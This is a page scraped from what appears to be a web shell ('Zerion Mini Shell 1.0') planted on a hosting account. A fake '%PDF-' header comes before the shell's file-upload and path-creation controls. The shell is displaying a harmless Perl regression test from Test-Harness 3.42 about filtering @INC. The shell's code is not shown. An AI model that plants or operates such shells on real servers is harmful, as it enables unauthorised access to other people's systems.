%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/opti/optisoftcom/.cpanm/work/1544535425.21555/Test-Harness-3.42/t/compat/
Upload File :
Create Path :
Current File : /home/opti/optisoftcom/.cpanm/work/1544535425.21555/Test-Harness-3.42/t/compat/regression.t

#!/usr/bin/perl -w

use strict;
use warnings;
use lib 't/lib';

use Test::More tests => 1;
use Test::Harness;

# 28567
my ( @before, @after );
{
    local @INC;
    unshift @INC, 'wibble';
    @before = Test::Harness::_filtered_inc();
    unshift @INC, sub {die};
    @after = Test::Harness::_filtered_inc();
}

is_deeply \@after, \@before, 'subref removed from @INC';

Zerion Mini Shell 1.0